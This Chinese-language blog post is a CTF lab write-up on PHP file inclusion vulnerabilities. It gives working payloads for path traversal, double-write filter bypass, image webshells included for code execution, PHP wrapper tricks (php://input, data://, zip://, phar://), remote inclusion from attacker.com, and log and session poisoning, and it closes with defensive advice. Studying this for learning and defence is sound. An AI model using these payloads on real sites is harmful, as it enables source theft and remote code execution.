ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

杂记13 文件包含

杂记13 文件包含 文件包含的本质只有一句话代码把用户填的路径直接丢给了include()而include()会把文件当代码执行。它和文件读取只差一个函数名危害却差一个量级——读取是看包含是执行后者直接通向 RCE。⚠️ 本文所有测试均在授权靶场中完成仅用于安全学习与防御研究请勿用于未授权目标。〇、先看通关记录关卡难度考点关键 Payload文件包含入门1 级路径穿越 LFI../../../../tmp/flag.txt文件包含过滤..2 级黑名单绕过 · 双写变形....//....//....//....//tmp/flag.txt文件包含 上传图片3 级文件上传 图片马 包含 RCE上传shell.png→ 包含其返回的文件名文件下载入门1 级任意文件下载文件读取的变种../../../../tmp/flag.txt四关的终点是同一件事读到/tmp/flag.txt。区别只在于从哪条路进去、路上有没有拦路的。一、文件包含是什么1.1 通俗版一个过于听话的前台把 Web 服务器想象成一家公司的前台。老板规定每天上班第一件事就是去文件柜拿一份《公司规章制度》header.php贴在墙上执行。正常情况下前台只去固定的柜子拿固定的文件。直到有一天一个陌生人攻击者递来一张纸条去/tmp/flag.txt把那份文件也贴墙上。前台没有怀疑也没有检查老老实实走过去把里面的内容当成规章制度一样贴了出去。文件包含漏洞 服务器盲目信任了用户给的文件路径并把它当代码执行了。1.2 专业版漏洞点在哪PHP / JSP / ASP 里为了代码复用开发者常用include/require引入公共代码。危险代码如下?php // 开发者想根据用户传入的 page 参数包含不同的页面 $page $_GET[page]; include($page); // 【漏洞点】直接包含用户输入没有任何过滤 ?本质用户输入被直接拼接进include()/include_once()/require()/require_once()且路径未做安全校验。危害泄露源码与配置 → 读取系统敏感文件 → 配合上传 / 日志 / 伪协议执行代码RCE。1.3 一张表分清三个近亲这三个概念最容易混记住一句话下载和读取都只能看包含能执行。漏洞类型核心操作危害典型代码文件下载把文件内容下载到本地泄露源码、配置、敏感数据readfile($_GET[file])文件读取把文件内容回显在页面上泄露源码、配置、敏感数据file_get_contents($_GET[file])文件包含把文件当代码执行直接 RCEinclude($_GET[file])判定的关键被包含的文件里如果有?php ... ?服务器会真的执行它。所以同一个能读任意文件的入口用readfile()只是信息泄露用include()就是命令执行。二、两种类型LFI 与 RFI类型含义前提条件Payload 示例LFI本地文件包含包含服务器本机的文件无特殊配置../../../../tmp/flag.txt、php://filter/...RFI远程文件包含包含攻击者服务器上的文件PHP 需allow_url_include On现代版本默认关闭http://attacker.com/shell.txtLFI 是主战场即使不能远程包含也能靠包含已上传的图片马包含日志文件包含 Session 文件等方式拿到 RCE。RFI 最简单粗暴一旦开启直接包含自己服务器上的 WebShell一步到位。但因为太危险现在几乎默认关闭。三、实战复盘3.1 1 级最基础的路径穿越包含页面表现一个输入框提示包含已上传文件旁边一个包含文件按钮——典型的文件包含入口。推测后端逻辑关键一步include(uploads/ . $_GET[file]);后端强制拼了一个目录前缀uploads/。想跳到/tmp/就必须用../一层层往上爬。Payload../../../../tmp/flag.txt实际执行效果include(uploads/../../../../tmp/flag.txt); // 等价于 include(../../../../tmp/flag.txt) → 命中 /tmp/flag.txt一击命中。这一关的核心就是路径穿越../的数量不必精确多写几层也无所谓因为超过根目录后再往上仍然是/。2 级里还有一关手法完全相同只是靶场描述会明说你需要会目录穿越。同理不重复记录。3.2 2 级../被过滤时的双写绕过这一关防护升级了直接提交../../../../tmp/flag.txt会被拦。两次失败很有价值先把失败原因搞清楚尝试方案Payload结果失败原因PHP 伪协议php://filter/convert.base64-encode/resource/tmp/flag.txt❌后端会拼上前缀uploads/而伪协议必须出现在参数最开头才会被识别为流包装器拼在中间就只是一个普通文件名双重 URL 编码%252e%252e%252f...❌服务端没有做二次解码%252e被原样当成文件名字符路径不存在双写变形....//....//....//....//tmp/flag.txt✅见下方原理Payload....//....//....//....//tmp/flag.txt为什么双写能绕过这里有个流传很广的错误说法要澄清很多现成笔记把原理写成后端用了str_replace(., , ...).被删掉所以....//变成了../。这是错的str_replace(., , ....//) → // ← 穿不出去如果真是删掉所有.....//只会剩下//这一关根本过不去。既然它过了说明——过滤器吃掉的不可能是单个.而是../这个整体。反推出来的后端逻辑是$safe str_replace(../, , $_GET[file]); // 把 ../ 整组替换为空 include(uploads/ . $safe); 把 ....// 逐个字符拆开看 输入 . . . . / / 索引 0 1 2 3 4 5 str_replace 从左往右扫描在索引 2 处发现一组完整的 ../索引 2、3、4把它整组删掉剩下索引 0、1、5 剩下 . . / → ../ 于是 提交 ....//....//....//....//tmp/flag.txt 过滤后../../../../tmp/flag.txt 最终 include(uploads/../../../../tmp/flag.txt) ✅ 穿越成功⚠️易错点. 被替换为空所以....//变成../这个说法流传极广但它是错的。正确的理解是**过滤器每次吃掉一整组../双写就是多写一组去喂它**。 换句话说双写变形针对的永远是**过滤 只替换一次**的逻辑。防守方只要把替换放进while 循环里这一招就废了。3.3 3 级图片马 文件包含 RCE页面表现两个功能区——选择文件上传和包含已上传文件。判定这是上传 包含的组合漏洞场景。单独看上传有白名单只收图片单独看包含也没有可执行的文件。合起来才能打通。第一步做一个图片马本地准备一张体积很小的真实图片如1.png。用文本编辑器或 Hex 编辑器打开在文件最末尾追加?php echo file_get_contents(/tmp/flag.txt); ?另存为shell.png。命令行更快Windowscopy /b 1.png shell.php shell.png/b表示按二进制处理、/a表示按文本处理。这里统一用/b避免换行符转换破坏图片的二进制内容。第二步上传并记住返回的文件名上传shell.png服务器返回一个重命名后的文件名通常是随机 UUID06ee4056-53e1-41a6-b9a2-3c86990eee7a.png这一步必须先拿到文件名因为后面包含的就是它。第三步包含它代码就执行了在包含已上传文件里填上那个文件名点击包含。服务器实际执行include(uploads/06ee4056-....png);PHP 解析器会扫描整个文件内容遇到?php就开始解析执行——图片的二进制部分被当普通输出末尾的 PHP 代码被真真切切地执行成功读出 flag。为什么图片马能过安检环节服务器怎么做攻击者怎么破文件类型检测通常只看文件头魔数\x89PNG、GIF89a文件头是合法图片天然通过后缀白名单只允许.png/.jpg后缀本来就是.png内容检测一般不检查全文恶意代码藏在文件末尾图片马本身不会响。它只是一张图片——必须配合文件包含或其他能把它当 PHP 解析的漏洞才会被引爆。组合技的一句话总结上传负责把炸弹运进去包含负责把炸弹引爆。没有上传恶意文件运不进来没有包含图片永远只是图片。3.4 附1 级文件下载文件读取的另一种表现形式同一专题里还有一关文件下载页面提示输入文件名下载示例readme.txt。它的考点和读取完全一样只是把回显在页面换成了下载到本地。Payload../../../../tmp/flag.txt后端逻辑与判定readfile(uploads/ . $_GET[file]);代码审计时盯这几个关键词readfile($_GET[filename]); file_get_contents($_GET[filename]); header(Content-Disposition: attachment; filename . $_GET[filename] . );靶场描述里那句话说得非常准文件下载实际上就是文件读取的另一种表现形式。两者都是读只有文件包含才是执行。四、进阶利用姿势4.1 PHP 伪协议速查表协议作用Payload 示例前提php://filter读源码Base64 编码绕过内容过滤php://filter/convert.base64-encode/resourceindex.php无php://input执行 POST 体里的 PHP 代码php://input POST?php system(ls); ?allow_url_includeOndata://执行内联的 Base64 代码data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8allow_url_includeOnzip://包含压缩包内的文件zip://shell.zip%23shell.php需先上传 zipphar://包含 PHAR 归档内的文件phar://shell.phar/shell.php需先上传 phar 两个容易踩的点 ①%23是#的 URL 编码用来分隔压缩包路径和包内文件路径。 ②伪协议必须出现在参数最开头。如果后端是include(uploads/ . $input)伪协议会被拼到中间而失效——这正是 3.2 里第一次尝试失败的原因。4.2 LFI → RCE 的三条经典路径路径原理要点包含日志把 PHP 代码写进User-AgentWeb 服务器会把它记进访问日志再包含日志文件日志路径如/var/log/apache2/access.log、/var/log/nginx/access.log前提是能读到日志包含/proc/self/environ该文件是当前进程的环境变量快照User-Agent在部分配置下会进到里面../../../../proc/self/environ依赖配置成功率不如日志包含包含 Session 文件把 PHP 代码写进某个可控的 Session 值再包含 Session 文件路径如/tmp/sess_PHPSESSID需要知道自己的 Session ID4.3 常见过滤与绕过对照防御方式绕过方式示例过滤../双写变形....//....//....//tmp/flag.txt过滤..双写 / 编码变体....//、%2e%2e%2f过滤php://大小写混淆PHP://filter/...部分场景有效强制拼接目录路径穿越 / 绝对路径../../../../tmp/flag.txtWAF 拦截关键字双重 URL 编码%252e%252e%252f...前提是服务端会二次解码⚠️关于通配符包含网上常见../../../../tmp/flag*这类写法在 PHP 的include()里通常不成立——通配符展开是 Shell 的能力PHP 的文件函数不会做 glob 展开。可以当作思路记着但别当常规手段更别指望靠它稳过。五、安全防御建议开发者视角5.1 文件包含白名单校验首选只允许包含预设列表里的文件如header.php、footer.php其余一律拒绝。不给用户路径只给 ID用?page1映射到具体文件用户永远碰不到路径字符串。路径规范化后再校验用realpath()归一化再确认是否落在允许目录内——注意要在归一化之后判断。关闭危险配置allow_url_include Off、allow_url_fopen Off。黑名单要循环替换非要用str_replace(../,,...)必须用while替换到不再变化否则一个双写就废了。但黑名单永远只是补救白名单才是解法。权限最小化Web 进程只给 Web 目录读权限别让它能碰/etc/passwd、/tmp。5.2 文件上传组合攻击的另一半后缀白名单校验并校验真实类型不要只信Content-Type。二次渲染用 GD / Imagick 重新生成图片藏进末尾的代码会被直接抹掉。上传目录禁止脚本执行例如 Nginx 里不给/uploads/分配 PHP 处理器。重命名为 UUID并去掉原始文件名避免用户可控的路径拼接。统一错误信息别把拼接后的路径、过滤规则回显给用户——回显路径等于把后端逻辑送给攻击者。六、总结这一专题走完真正带走的是三件事判定看函数include/require是执行readfile/file_get_contents是看。一字之差危害差一个量级。穿越看前缀../../../../不是背出来的是后端拼了uploads/所以我要爬出去推出来的。绕过看逻辑双写变形之所以有效是因为过滤器只替换一次。先想清楚服务端怎么处理再决定写什么 Payload——这比背一百个字典都管用。
返回列表